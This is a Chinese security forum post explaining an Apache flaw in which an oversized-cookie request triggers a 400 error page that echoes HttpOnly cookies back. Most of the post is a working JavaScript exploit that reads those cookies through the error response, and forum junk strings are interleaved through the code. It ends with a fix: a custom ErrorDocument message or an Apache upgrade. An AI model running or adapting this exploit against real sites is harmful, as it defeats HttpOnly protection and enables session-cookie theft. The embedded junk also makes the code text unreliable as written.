找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2591|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
) C/ o( \; @6 C2 A* z5 z7 b7 r2 b
  j# Q; C. I' q1 h用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
0 B) |" l2 q; d4 }! i
  ?& `6 z  a* F: z- H. o% M; V1 w: ^  j3 H
// http://www.exploit-db.com/exploits/18442/9 X& \" b0 H) e
function setCookies (good) {4 b. }+ g: T/ o" |: q, ^1 L
// Construct string for cookie value
2 f3 E7 a+ a4 }var str = "";) u& d& I$ K& x9 g
for (var i=0; i< 819; i++) {
+ Q2 o' a$ L5 g( p+ Mstr += "x";! R9 M- j2 c: O/ [
}
; p  l' C& C' y( i6 m* R// Set cookies
1 C2 Y9 @  _$ n8 i! \+ ~& Sfor (i = 0; i < 10; i++) {5 N; B2 E( X3 D" R. w
// Expire evil cookie
* d. n! L. T! E" A) \) [if (good) {
. o4 n7 v) O9 _) B" gvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";7 ?4 n$ _, D: s! T5 r
}+ F- S* q3 [8 C% n1 B  a- k, N
// Set evil cookie6 Y3 ?) W' O0 ]5 s
else {
6 [' Z# e# c8 g! @- e. ~2 Pvar cookie = "xss"+i+"="+str+";path=/";
* I( T; u2 l9 }1 ^1 u: P1 h}- f6 W2 B6 Y) W( K) a4 O
document.cookie = cookie;
: q4 S% C1 [' l4 m5 {$ @( Z& J}
5 q& h1 l2 W" o% Z2 T}
, l$ P3 |& x( I- H" a( q- ?function makeRequest() {6 C1 h' ~& l" c4 @
setCookies();" x3 V+ X( Z9 a& N) z. v
function parseCookies () {
. `$ U% a" d! Z* Q6 x1 z7 I" Rvar cookie_dict = {};
9 @5 f" o# r* f' i# r. e, b// Only react on 400 status
) w7 t0 R7 a0 o9 A- bif (xhr.readyState === 4 && xhr.status === 400) {
0 l" y+ P* C9 F// Replace newlines and match <pre> content
/ n4 w2 |, i/ o7 M- hvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);; u$ `0 v9 ~5 J% E, F7 W
if (content.length) {
  p" Z1 M2 A! f5 i  t// Remove Cookie: prefix! T, ]( _6 w3 ~2 y0 |4 A
content = content[1].replace("Cookie: ", "");
  _( z/ ^- {+ mvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
' _% V) U4 O1 o: H) z, b/ |5 E, E// Add cookies to object
3 z; m! e/ S% wfor (var i=0; i<cookies.length; i++) {
! U& G4 I& y1 O" z8 ~var s_c = cookies.split('=',2);7 j% w/ P( q( K5 v- z* y7 F
cookie_dict[s_c[0]] = s_c[1];) S/ s9 e1 d0 @9 X7 u
}
& G) A% z( A& H) A}
* y/ Y. ~0 x( l2 r// Unset malicious cookies/ f8 a: ^2 _# q  W( G
setCookies(true);- c$ M7 k2 j! n# E
alert(JSON.stringify(cookie_dict));
8 n% j. H) p, C}3 O1 v3 @% t) a% X8 j& R" [' r7 M
}. n& z" b6 P, {  J/ y% b( I, [( Z
// Make XHR request7 P+ s" t: z5 L4 s& t, }
var xhr = new XMLHttpRequest();; f6 Z5 K4 s3 b0 D8 L1 w: O9 M
xhr.onreadystatechange = parseCookies;4 @+ R7 R6 i; ^! \1 V
xhr.open("GET", "/", true);) E: E. d% K  O4 S; S! J
xhr.send(null);; A" {) d) y7 t, C) o
}+ ^7 h( O+ H  F5 }: ~% I
makeRequest();
2 g. S9 |9 w0 Q' [3 j& e3 S
2 A( p& Y5 A# k2 n9 f. ]  Z* h你就能看见华丽丽的400错误包含着cookie信息。
7 u; o- P2 @5 w2 V" C
1 i8 k! ~- \9 ]5 C3 \下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
8 |" U- x' i' X$ e8 d( X: G' A( e; g$ a  Z5 L, }
修复方案:$ F1 S7 K$ B; w  r+ f

7 _- U& `1 N' n: `+ |2 k: VApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
8 t7 d( f: ^( y7 O4 }. @9 u9 b" d- R. T
In the event of a problem or error, Apachecan be configured to do one of four things,5 ?9 E- K4 l* J8 ~1 P' i

( P7 t1 a. f* v6 D1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
# y3 s) _, r$ m6 S" n2. output acustomized message输出一段信息
" R' \& O2 C7 Q4 j0 x8 h2 |3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
. W  @1 c0 @3 q* i, r4. redirect to an external URL to handle theproblem/error转向一个外部URL0 ?6 C# q6 r6 k* g

9 R. G& l; I' Z8 B' K经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
! ~$ ~& _& ]0 f( N3 q  g* Z! z! L2 ^2 \
Apache配置:
( ^) F8 I1 v- w7 e' C9 V
& Q$ h( l" @8 d" nErrorDocument400 " security test"0 ~+ n% L# G7 o# I& f2 n. X* h

. E0 {2 t8 F8 Y7 K; [( \' p当然,升级apache到最新也可:)。
) h0 z9 N. u) V( v3 S5 y5 T6 x9 f% G1 z% s
参考:http://httpd.apache.org/security/vulnerabilities_22.html* x! b% o( x4 T( G, M6 D
/ \6 s" a: K' n( V4 O4 J6 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表